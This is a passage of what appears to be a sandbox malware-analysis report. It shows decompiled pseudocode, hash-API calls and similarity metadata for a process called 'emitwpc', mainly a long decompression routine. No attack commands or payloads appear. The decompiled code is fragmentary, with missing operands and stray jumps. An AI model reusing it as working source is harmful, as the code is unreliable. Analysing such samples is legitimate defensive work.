					_t23 =  !=  ? 1 : __esi;
				}
				 *0x2b27bc( *((intOrPtr*)(_t25 + 8)));
				if(_t23 == 0) {
					E002A1830( *_t21);
					 *_t21 = 0;
					 *((intOrPtr*)(_t21 + 4)) = 0;
				}
				return _t23;
			}

0x002a2496
0x002a2496
0x002a2499
0x002a24a6
0x002a24a8
0x002a24af
0x002a24be
0x002a24be
0x002a24c4
0x002a24cc
0x002a24d0
0x002a24d5
0x002a24db
0x002a24db
0x002a24ea

APIs

CryptDestroyHash.ADVAPI32(?,?,?), ref: 002A24C4

Part of subcall function 002A1830: GetProcessHeap.KERNEL32(00000000,?,002AC7E7), ref: 002A1833
Part of subcall function 002A1830: HeapFree.KERNEL32(00000000), ref: 002A183A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Heap$CryptDestroyFreeHashProcess
String ID:
API String ID: 21667265-0
Opcode ID: e414483b0c643c9bf156ed8066d636e8dbfd71b59c6d55051e988ba6f3874c8a
Instruction ID: f18dea3810c8d03fc8a6029fcd9d8524b3df59c6ed846cf4454320e74d069362
Opcode Fuzzy Hash: e414483b0c643c9bf156ed8066d636e8dbfd71b59c6d55051e988ba6f3874c8a
Instruction Fuzzy Hash: CEF01C71610215DBEB14AF18E859B96B791EF45354F148269EC098B261EF71DD28CBC0

Uniqueness

Uniqueness Score: 0.02%

Function 002A22C9, Relevance: 1.5, APIs: 1, Instructions: 9encryptionCOMMON

APIs

CryptGetHashParam.ADVAPI32(?,00000002), ref: 002A22D5

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CryptHashParam
String ID:
API String ID: 1839025277-0
Opcode ID: 42cd1c0035ba50a041efa89b2e3cb9d22e700d5e96d18b6a747a33b3401ded28
Instruction ID: 720fe35a51c8a75af0c8395c85df185d48dde9120a735a48fd24c621cefc7009
Opcode Fuzzy Hash: 42cd1c0035ba50a041efa89b2e3cb9d22e700d5e96d18b6a747a33b3401ded28
Instruction Fuzzy Hash: F2B092B0552308BAE6308B50AD0EF7A762CE784709F008288BD096159186764D1459A0

Uniqueness

Uniqueness Score: 0.02%

Function 002A56EF, Relevance: .5, Instructions: 487
COMMONCrypto

C-Code - Quality: 68%

			E002A56EF(signed int __ebx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t595;
				signed int _t596;
				signed int _t598;
				void* _t599;
				signed int _t609;
				signed int* _t619;
				signed int _t622;
				signed int _t639;
				signed int _t641;
				signed int _t646;
				signed char _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				unsigned int _t693;
				signed int _t694;
				signed int _t696;
				signed int _t697;
				signed int _t701;
				signed int _t711;
				signed int _t716;
				signed int _t718;
				signed int _t721;
				signed int _t723;
				signed int _t724;
				intOrPtr _t736;
				intOrPtr _t737;
				intOrPtr _t738;
				signed int _t741;
				signed int _t745;
				void* _t751;
				signed int _t756;
				signed int _t758;
				signed int _t762;
				signed int _t766;
				signed int _t769;
				signed int _t773;
				signed int _t778;
				signed int _t782;
				signed int _t783;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t795;
				signed int _t796;
				signed int _t798;
				signed int _t799;
				signed int _t806;
				signed int _t809;
				intOrPtr* _t811;
				void* _t812;
				signed int _t823;
				signed int _t825;
				intOrPtr _t827;
				signed int _t831;
				intOrPtr* _t833;
				signed int _t834;
				signed int _t842;
				signed int _t845;
				signed int _t848;
				signed int _t850;
				signed int _t851;
				signed int _t860;
				signed int _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				void* _t868;
				void* _t869;
				void* _t870;
				void* _t871;
				signed char _t872;
				signed char _t875;
				intOrPtr _t877;
				signed int _t880;
				signed int _t881;
				signed char _t883;
				signed int _t884;
				signed int _t885;
				signed char _t890;
				signed int _t892;
				void* _t893;
				signed int _t894;
				signed int _t897;
				signed int _t898;
				signed char _t899;
				intOrPtr _t901;
				intOrPtr _t903;
				void* _t906;
				signed char _t907;
				signed char _t908;
				signed int _t909;
				signed int _t913;
				signed char _t918;
				signed int _t919;
				signed int _t920;
				signed int _t923;
				signed int _t928;
				signed int _t932;
				signed char _t936;
				signed int _t937;
				signed char _t940;
				signed int _t941;
				signed int _t949;
				signed int _t964;
				signed int _t968;
				signed int _t970;
				signed int _t974;
				signed int* _t975;
				signed char* _t980;
				signed int _t981;
				signed int _t986;
				unsigned int _t987;
				signed int _t988;
				signed int _t989;
				signed int _t992;
				signed int _t993;
				signed int _t995;
				signed int _t997;
				signed int _t998;
				signed int _t999;
				signed int _t1002;
				signed int _t1006;
				signed int _t1012;
				signed int _t1013;
				int _t1014;
				int _t1016;
				signed int _t1017;
				unsigned int _t1020;
				void* _t1024;
				intOrPtr _t1025;
				signed int _t1026;
				signed int _t1029;
				signed int _t1031;
				signed int _t1032;
				signed int _t1034;
				int _t1039;
				signed int _t1040;
				signed int _t1042;
				unsigned int _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				signed int _t1049;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed int _t1064;
				signed char _t1065;
				void* _t1066;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t1050 = __esi;
					_t1029 = __edi;
					_t846 = __ebx;
					if(__ebx >=  *(_t1066 - 0x20)) {
						break;
					}
					L1:
					_t872 = __esi;
					_t846 = __ebx + 1;
					_t987 = __edx | ( *__ebx & 0x000000ff) << __esi;
					 *(_t1066 - 0x18) = _t846;
					_t1064 = __esi + 8;
					 *(_t1066 - 4) = _t987;
					if(_t1064 < 0xf) {
						L227:
						_t646 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
						 *(_t1066 - 0x24) = _t646;
						__eflags = _t646;
						if(_t646 < 0) {
							L231:
							__eflags = _t1064 - 0xa;
							if(_t1064 <= 0xa) {
								continue;
							} else {
								L232:
								L233:
								 *(_t1066 - 0x1c) = _t872;
								while(1) {
									L234:
									_t872 =  *((short*)(_t1029 + 0x1700 + ((_t987 >> _t872 & 0x00000001) +  !( *(_t1066 - 0x24))) * 2));
									_t652 =  *(_t1066 - 0x1c) + 1;
									 *(_t1066 - 0x24) = _t872;
									 *(_t1066 - 0x1c) = _t652;
									__eflags = _t872;
									if(_t872 >= 0) {
										goto L2;
									}
									L235:
									__eflags = _t1064 - _t652 + 1;
									if(_t1064 < _t652 + 1) {
										goto L0;
									} else {
										L236:
										_t872 =  *(_t1066 - 0x1c);
										continue;
									}
									goto L295;
								}
								goto L2;
							}
						} else {
							L228:
							_t845 = _t646 >> 9;
							__eflags = _t845;
							if(_t845 == 0) {
								continue;
							} else {
								L229:
								__eflags = _t1064 - _t845;
								if(_t1064 >= _t845) {
									goto L2;
								} else {
									L230:
									continue;
								}
							}
						}
					} else {
						while(1) {
							L2:
							_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
							 *(_t1066 - 0x1c) = _t655;
							if(_t655 < 0) {
								goto L4;
							}
							L3:
							_t872 = _t655 >> 9;
							_t660 = _t655 & 0x000001ff;
							L8:
							_t988 = _t987 >> _t872;
							_t1050 = _t1064 - _t872;
							_t875 =  *(0x2af090 + _t660 * 4);
							_t595 =  *(0x2af110 + _t660 * 4);
							 *(_t1066 - 4) = _t988;
							 *(_t1066 - 0x38) = _t875;
							 *(_t1066 - 0x28) = _t595;
							if(_t875 == 0) {
								L14:
								_t877 =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 + 0xc));
								 *((intOrPtr*)(_t1066 - 0x48)) = _t877;
								if(_t595 <= _t877 || ( *(_t1066 + 0x18) & 0x00000004) == 0) {
									L16:
									_t1029 =  *(_t1066 - 0x14);
									_t880 = (_t877 - _t595 &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc));
									 *(_t1066 - 0xc) = _t880;
									_t662 =  >  ?  *(_t1066 - 0x10) : _t880;
									_t881 =  *(_t1066 - 8);
									_t663 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881;
									_t1081 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881 -  *((intOrPtr*)(_t1066 - 0x40));
									if(( >  ?  *(_t1066 - 0x10) : _t880) + _t881 <=  *((intOrPtr*)(_t1066 - 0x40))) {
										L20:
										__eflags = _t881 - 9;
										if(_t881 < 9) {
											L29:
											goto 0x2c1420;
											asm("int3");
											do {
												L31:
												_t881 = _t881 - 3;
												 *_t1029 =  *_t988 & 0x000000ff;
												 *((char*)(_t1029 + 1)) =  *(_t988 + 1) & 0x000000ff;
												_t666 =  *(_t988 + 2) & 0x000000ff;
												_t988 = _t988 + 3;
												 *(_t1029 + 2) = _t666;
												_t1029 = _t1029 + 3;
												__eflags = _t881 - 2;
											} while (_t881 > 2);
											 *(_t1066 - 0x10) = _t1029;
											_t1029 =  *(_t1066 - 0x14);
											 *(_t1066 - 0xc) = _t988;
											_t988 =  *(_t1066 - 4);
											 *(_t1066 - 8) = _t881;
											__eflags = _t881;
											if(_t881 > 0) {
												L33:
												goto 0x2c1434;
												asm("int3");
												_t827 =  *_t666;
												 *_t1029 = _t827;
												_t1029 =  *(_t1066 - 0x14);
												__eflags = _t881 - 1;
												if(_t881 > 1) {
													goto L35;
												}
												goto L37;
											}
										} else {
											L21:
											__eflags = _t881 -  *(_t1066 - 0x28);
											if(_t881 >  *(_t1066 - 0x28)) {
												goto L29;
											} else {
												L22:
												_t1049 =  *(_t1066 - 0xc);
												_t964 =  *(_t1066 - 0x10);
												_t831 = (_t881 & 0xfffffff8) + _t1049;
												 *(_t1066 - 0x24) = _t831;
												_t1026 = _t831;
												do {
													L23:
													 *_t964 =  *_t1049;
													_t833 =  *((intOrPtr*)(_t1049 + 4));
													_t1049 = _t1049 + 8;
													 *((intOrPtr*)(_t964 + 4)) = _t833;
													_t964 = _t964 + 8;
													__eflags = _t1049 - _t1026;
												} while (_t1049 < _t1026);
												_t988 =  *(_t1066 - 4);
												 *(_t1066 - 0x10) = _t964;
												_t881 =  *(_t1066 - 8) & 0x00000007;
												 *(_t1066 - 0xc) = _t1049;
												_t1029 =  *(_t1066 - 0x14);
												 *(_t1066 - 8) = _t881;
												__eflags = _t881 - 3;
												if(_t881 >= 3) {
													goto L29;
												} else {
													L25:
													__eflags = _t881;
													if(_t881 != 0) {
														L26:
														goto 0x2c140c;
														asm("int3");
														_t827 =  *_t833;
														 *_t1029 = _t827;
														_t1029 =  *(_t1066 - 0x14);
														__eflags = _t881 - 1;
														if(_t881 > 1) {
															L28:
															L35:
															goto 0x2c1448;
															asm("int3");
															 *(_t988 + 1) =  *((intOrPtr*)(_t827 + 1));
															_t988 =  *(_t1066 - 4);
														}
														L37:
														_t83 = _t1066 - 0x10;
														 *_t83 =  *(_t1066 - 0x10) + _t881;
														__eflags =  *_t83;
													}
												}
											}
										}
										goto L38;
									} else {
										while(1) {
											L17:
											_t834 = _t881;
											_t881 = _t881 - 1;
											 *(_t1066 - 8) = _t881;
											if(_t834 == 0) {
												goto L38;
											}
											L18:
											if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
												L238:
												 *(_t1066 - 0xc) = 2;
												 *_t1029 = 0x35;
												goto L292;
											} else {
												L19:
												 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
												 *((intOrPtr*)(_t1066 - 0x48)) =  *((intOrPtr*)(_t1066 - 0x48)) + 1;
												 *( *(_t1066 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1066 - 0x48)) -  *(_t1066 - 0x28) &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc))));
												_t988 =  *(_t1066 - 4);
												continue;
											}
											goto L295;
										}
										while(1) {
											L38:
											_t883 =  *(_t1066 - 0x20) - _t846;
											__eflags = _t883 - 4;
											if(_t883 < 4) {
												goto L57;
											}
											L39:
											_t1029 =  *(_t1066 - 0x14);
											__eflags =  *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) - 2;
											if( *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) < 2) {
												goto L57;
											} else {
												L40:
												__eflags = _t1050 - 0xf;
												if(_t1050 < 0xf) {
													_t1002 =  *(_t846 + 1) & 0x000000ff;
													_t883 = _t1050;
													_t724 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1002 << 0x00000008 | _t724) << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
												}
												_t595 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t595;
												__eflags = _t595;
												if(_t595 < 0) {
													L44:
													goto 0x2c145c;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L45:
														_t711 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t711 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L43:
													_t883 = _t595 >> 9;
												}
												L47:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 & 0x00000100;
												if((_t884 & 0x00000100) != 0) {
													L83:
													_t885 = _t884 & 0x000001ff;
													 *(_t1066 - 8) = _t885;
													__eflags = _t885 - 0x100;
													if(_t885 != 0x100) {
														L219:
														_t673 = _t885 * 4 - 0x404;
														_t872 =  *(_t673 + 0x2af010);
														_t595 =  *(_t673 + 0x2afa48);
														 *(_t1066 - 0x38) = _t872;
														 *(_t1066 - 8) = _t595;
														__eflags = _t872;
														if(_t872 == 0) {
															L225:
															__eflags = _t1064 - 0xf;
															if(_t1064 >= 0xf) {
																L2:
																_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
																 *(_t1066 - 0x1c) = _t655;
																if(_t655 < 0) {
																	goto L4;
																}
																goto L8;
															} else {
																L226:
																__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																if( *(_t1066 - 0x20) - _t846 >= 2) {
																	L237:
																	_t989 =  *(_t846 + 1) & 0x000000ff;
																	_t676 =  *_t846 & 0x000000ff;
																	_t846 = _t846 + 2;
																	_t1029 =  *(_t1066 - 0x14);
																	_t872 = _t1064;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) =  *(_t1066 - 4) | _t989 << _t1064 + 0x00000008 | _t676 << _t872;
																	_t1064 = _t1064 + 0x10;
																	_t987 =  *(_t1066 - 4);
																	do {
																		goto L2;
																	} while (_t1064 >= 0xf);
																	goto L226;
																} else {
																	goto L227;
																}
															}
														} else {
															L220:
															__eflags = _t1064 - _t872;
															if(_t1064 >= _t872) {
																L223:
																L224:
																_t1064 = _t1064 - _t872;
																_t680 = (_t595 << _t872) - 0x00000001 & _t987;
																_t987 = _t987 >> _t872;
																_t456 = _t1066 - 8;
																 *_t456 =  *(_t1066 - 8) + _t680;
																__eflags =  *_t456;
																 *(_t1066 - 4) = _t987;
																goto L225;
															} else {
																while(1) {
																	L221:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L222:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t872 =  *(_t1066 - 0x38);
																	_t987 = _t987 | _t595;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - _t872;
																	if(_t1050 < _t872) {
																		continue;
																	} else {
																		goto L223;
																	}
																	goto L295;
																}
																L262:
																 *_t1029 = 0x19;
																goto L285;
															}
														}
													} else {
														while(1) {
															L84:
															__eflags =  *(_t1029 + 0x14) & 0x00000001;
															if(( *(_t1029 + 0x14) & 0x00000001) != 0) {
																break;
															}
															L85:
															__eflags = _t1064 - 3;
															if(_t1064 >= 3) {
																L88:
																_t1050 = _t1064 - 3;
																_t693 = _t987 & 0x00000007;
																_t997 = _t987 >> 3;
																 *(_t1029 + 0x14) = _t693;
																_t694 = _t693 >> 1;
																__eflags = _t694;
																 *(_t1066 - 4) = _t997;
																 *(_t1066 - 0x1c) = _t1050;
																 *(_t1029 + 0x18) = _t694;
																if(_t694 != 0) {
																	L123:
																	__eflags = _t694 - 3;
																	if(_t694 == 3) {
																		L266:
																		 *(_t1066 - 0xc) = 0xffffffff;
																		 *_t1029 = 0xa;
																		goto L292;
																	} else {
																		L124:
																		__eflags = _t694 - 1;
																		if(_t694 != 1) {
																			L127:
																			_t897 = 0;
																			__eflags = 0;
																			while(1) {
																				L128:
																				 *(_t1066 - 8) = _t897;
																				__eflags = _t897 - 3;
																				if(_t897 >= 3) {
																					break;
																				}
																				L129:
																				_t595 =  *((char*)(_t897 + 0x2af004));
																				 *(_t1066 - 0x1c) = _t595;
																				__eflags = _t1050 - _t595;
																				if(_t1050 >= _t595) {
																					L132:
																					_t1024 = _t1029 + _t897 * 4;
																					_t1043 =  *(_t1066 - 4);
																					 *(_t1024 + 0x2c) = (0x00000001 <<  *(_t1066 - 0x1c)) - 0x00000001 & _t1043;
																					_t806 =  *(_t1066 - 8);
																					_t936 =  *((char*)(_t806 + 0x2af004));
																					_t1044 = _t1043 >> _t936;
																					_t1050 = _t1050 - _t936;
																					_t937 = _t806;
																					 *(_t1066 - 4) = _t1044;
																					 *(_t1066 - 0x1c) = _t1050;
																					 *(_t1024 + 0x2c) =  *(_t1024 + 0x2c) +  *((intOrPtr*)(0x2afa38 + _t937 * 4));
																					_t997 = _t1044;
																					_t1029 =  *(_t1066 - 0x14);
																					_t897 = _t937 + 1;
																					continue;
																				} else {
																					while(1) {
																						L130:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L131:
																						_t809 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t897 =  *(_t1066 - 8);
																						_t997 = _t997 | _t809;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 0x18) = _t846;
																						 *(_t1066 - 4) = _t997;
																						_t595 =  *((char*)(_t897 + 0x2af004));
																						 *(_t1066 - 0x1c) = _t595;
																						__eflags = _t1050 - _t595;
																						if(_t1050 < _t595) {
																							continue;
																						} else {
																							goto L132;
																						}
																						goto L295;
																					}
																					L248:
																					 *_t1029 = 0xb;
																					goto L285;
																				}
																				goto L295;
																			}
																			L133:
																			L134:
																			_t595 = memset(_t1029 + 0x1b80, 0, ??);
																			_t998 =  *(_t1066 - 4);
																			_t1068 = _t1068 + 0xc;
																			_t898 = 0;
																			__eflags = 0;
																			while(1) {
																				L135:
																				 *(_t1066 - 8) = _t898;
																				__eflags = _t898 -  *((intOrPtr*)(_t1029 + 0x34));
																				if(_t898 >=  *((intOrPtr*)(_t1029 + 0x34))) {
																					break;
																				}
																				L136:
																				__eflags = _t1050 - 3;
																				if(_t1050 >= 3) {
																					L139:
																					_t932 = _t998 & 0x00000007;
																					_t998 = _t998 >> 3;
																					_t1050 = _t1050 - 3;
																					 *(_t1066 - 4) = _t998;
																					 *(_t1066 - 0x1c) = _t1050;
																					_t595 =  *( *(_t1066 - 8) + 0x2afa24) & 0x000000ff;
																					 *(_t1029 + 0x1b80 + _t595) = _t932;
																					_t898 =  *(_t1066 - 8) + 1;
																					continue;
																				} else {
																					while(1) {
																						L137:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L138:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t998 = _t998 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t998;
																						__eflags = _t1050 - 3;
																						if(_t1050 < 3) {
																							continue;
																						} else {
																							goto L139;
																						}
																						goto L295;
																					}
																					L249:
																					 *_t1029 = 0xe;
																					goto L285;
																				}
																				goto L295;
																			}
																			L140:
																			 *((intOrPtr*)(_t1029 + 0x34)) = 0x13;
																			goto L141;
																		} else {
																			L125:
																			goto 0x2c14d8;
																			asm("int3");
																			asm("int3");
																			 *((intOrPtr*)(_t694 + 0x2c)) = 0x120;
																			L126:
																			_t811 = _t694 + 1 - 0x20;
																			 *_t811 =  *_t811 + _t811;
																			_t846 = _t846 + _t811;
																			_t812 = _t811 + 1;
																			 *_t812 =  *_t812 ^ _t812;
																			 *_t812 = _t812 +  *_t812;
																			 *0xde0 =  *0xde0 + _t812;
																			memset(_t812, ??, ??);
																			asm("movdqa xmm0, [0x2afae0]");
																			_t1068 = _t1068 + 0xc;
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movdqu [edi+0x80], xmm0");
																			asm("movdqu [edi+0x90], xmm0");
																			asm("movdqu [edi+0xa0], xmm0");
																			asm("movdqu [edi+0xb0], xmm0");
																			asm("movdqu [edi+0xc0], xmm0");
																			_t1045 = _t1029 + 0xd0;
																			asm("movdqa xmm0, [0x2afaf0]");
																			asm("movdqu [edi], xmm0");
																			asm("movdqu [edi+0x10], xmm0");
																			asm("movdqu [edi+0x20], xmm0");
																			asm("movdqu [edi+0x30], xmm0");
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqa xmm0, [0x2afad0]");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movq [edi+0x80], xmm0");
																			 *((intOrPtr*)(_t1045 + 0x88)) = 0x8080808;
																			 *((intOrPtr*)(_t1045 + 0x8c)) = 0x8080808;
																			_t1029 =  *(_t1066 - 0x14);
																			while(1) {
																				L141:
																				_t696 =  *(_t1029 + 0x18);
																				__eflags = _t696;
																				if(_t696 < 0) {
																					break;
																				}
																				L142:
																				 *(_t1066 - 0xc) = 0x40 + _t696 * 0xda0 + _t1029;
																				memset(_t1066 - 0xd0, 0, 0x40);
																				memset( *(_t1066 - 0xc) + 0x120, 0, 0x800);
																				memset( *(_t1066 - 0xc) + 0x920, 0, 0x480);
																				_t899 = 0;
																				_t1068 = _t1068 + 0x24;
																				_t1012 = _t1029 + ( *(_t1029 + 0x18) + 0xb) * 4;
																				 *(_t1066 - 0x44) = _t1012;
																				__eflags =  *_t1012;
																				if( *_t1012 > 0) {
																					L143:
																					_t1029 =  *(_t1066 - 0xc);
																					do {
																						L144:
																						_t799 =  *(_t899 + _t1029) & 0x000000ff;
																						_t899 = _t899 + 1;
																						 *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) =  *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) + 1;
																						__eflags = _t899 -  *_t1012;
																					} while (_t899 <  *_t1012);
																				}
																				L145:
																				goto 0x2c1500;
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				L146:
																				 *(_t1066 - 0x8c) = _t899;
																				 *(_t1066 - 0x90) = _t899;
																				 *(_t1066 - 0x2c) = _t899;
																				 *(_t1066 - 0x30) = _t899;
																				do {
																					L147:
																					_t736 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd4));
																					_t901 = _t899 + _t736 + _t899 + _t736;
																					_t1029 = _t1029 + _t736;
																					_t737 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd0));
																					 *(_t1066 - 0x30) =  *(_t1066 - 0x30) + _t737;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x90)) = _t901;
																					_t738 =  *((intOrPtr*)(_t1066 + _t1012 - 0xcc));
																					_t903 = _t901 + _t737 + _t901 + _t737;
																					 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) + _t738;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x8c)) = _t903;
																					_t899 = _t903 + _t738 + _t903 + _t738;
																					 *(_t1066 + _t1012 - 0x88) = _t899;
																					_t1012 = _t1012 + 0xc;
																					__eflags = _t1012 - 0x40;
																				} while (_t1012 <= 0x40);
																				 *(_t1066 - 0x4c) = _t899;
																				 *(_t1066 - 0x24) = _t1029;
																				_t1029 =  *(_t1066 - 0x14);
																				_t906 =  *(_t1066 - 0x24) +  *(_t1066 - 0x2c) +  *(_t1066 - 0x30);
																				__eflags =  *(_t1066 - 0x4c) - 0x10000;
																				if( *(_t1066 - 0x4c) == 0x10000) {
																					L150:
																					_t741 =  *(_t1066 - 0x44);
																					 *(_t1066 - 0x30) = 0xffffffff;
																					 *(_t1066 - 0x4c) = 0;
																					__eflags =  *_t741;
																					if( *_t741 > 0) {
																						L151:
																						_t1065 =  *(_t1066 - 0x4c);
																						do {
																							L152:
																							L153:
																							_t918 =  *(_t1065 + _t741) & 0x000000ff;
																							 *(_t1066 - 0x44) = _t918;
																							__eflags = _t918;
																							if(_t918 != 0) {
																								L154:
																								_t778 =  *(_t1066 + _t918 * 4 - 0x90);
																								 *(_t1066 - 0x2c) = _t778;
																								 *(_t1066 + _t918 * 4 - 0x90) = _t778 + 1;
																								 *(_t1066 - 0x24) = _t918;
																								__eflags = _t918;
																								if(_t918 != 0) {
																									L155:
																									do {
																										L156:
																										 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) >> 1;
																										_t798 =  *(_t1066 - 0x24) - 1;
																										_t1012 = _t1012 + _t1012 |  *(_t1066 - 0x2c) & 0x00000001;
																										 *(_t1066 - 0x24) = _t798;
																										__eflags = _t798;
																									} while (_t798 != 0);
																									_t918 =  *(_t1066 - 0x44);
																								}
																								L158:
																								__eflags = _t918 - 0xa;
																								if(_t918 > 0xa) {
																									L164:
																									_t782 =  *(_t1066 - 0xc) + 0x120 + (_t1012 & 0x000003ff) * 2;
																									_t846 =  *(_t1066 - 0x30);
																									 *(_t1066 - 0x44) = _t782;
																									_t783 =  *_t782;
																									 *(_t1066 - 0x2c) = _t783;
																									__eflags = _t783;
																									if(_t783 == 0) {
																										 *( *(_t1066 - 0x44)) = _t846;
																										_t783 = _t846;
																										_t846 = _t846 - 2;
																										__eflags = _t846;
																										 *(_t1066 - 0x2c) = _t783;
																										 *(_t1066 - 0x30) = _t846;
																									}
																									L166:
																									_t1020 = _t1012 >> 9;
																									__eflags = _t918 - 0xb;
																									if(_t918 > 0xb) {
																										L167:
																										_t919 = _t918 + 0xfffffff5;
																										__eflags = _t919;
																										 *(_t1066 - 0x24) = _t919;
																										_t920 =  *(_t1066 - 0x2c);
																										do {
																											L168:
																											_t1020 = _t1020 >> 1;
																											_t788 = 0x48f - _t920 - (_t1020 & 0x00000001);
																											_t923 =  *( *(_t1066 - 0xc) + 0x91e) & 0x0000ffff;
																											__eflags = _t923;
																											if(_t923 != 0) {
																												_t920 = _t923;
																											} else {
																												 *( *(_t1066 - 0xc) + _t788 * 2) = _t846;
																												_t789 =  *(_t1066 - 0x30);
																												_t920 = _t789;
																												_t790 = _t789 - 2;
																												 *(_t1066 - 0x30) = _t790;
																												_t846 = _t790;
																											}
																											L171:
																											_t361 = _t1066 - 0x24;
																											 *_t361 =  *(_t1066 - 0x24) - 1;
																											__eflags =  *_t361;
																										} while ( *_t361 != 0);
																										 *(_t1066 - 0x2c) = _t920;
																										_t783 = _t920;
																									}
																									L173:
																									_t1012 = (_t1020 >> 0x00000001 & 0x00000001) - _t783;
																									__eflags = _t1012;
																									 *( *(_t1066 - 0xc) + 0x91e + _t1012 * 2) = _t1065;
																								} else {
																									L159:
																									_t795 = (_t918 << 0x00000009 | _t1065) & 0x0000ffff;
																									 *(_t1066 - 0x44) = _t795;
																									__eflags = _t1012 - 0x400;
																									if(_t1012 < 0x400) {
																										L160:
																										goto 0x2c152a;
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										L161:
																										_t796 = _t795 << _t918;
																										 *(_t1066 - 0x4c) = _t796 + _t796;
																										_t928 =  *(_t1066 - 0xc) + _t1012 * 2 + 0x120;
																										__eflags = _t928;
																										do {
																											L162:
																											 *_t928 = _t1029;
																											_t1012 = _t1012 + _t796;
																											_t928 = _t928 +  *(_t1066 - 0x4c);
																											__eflags = _t1012 - 0x400;
																										} while (_t1012 < 0x400);
																										_t1029 =  *(_t1066 - 0x14);
																									}
																								}
																							}
																							L174:
																							_t741 =  *(_t1029 + 0x18);
																							_t1065 = _t1065 + 1;
																							__eflags = _t1065 -  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4));
																						} while (_t1065 <  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4)));
																						goto 0x2c1540;
																						asm("int3");
																					}
																					L176:
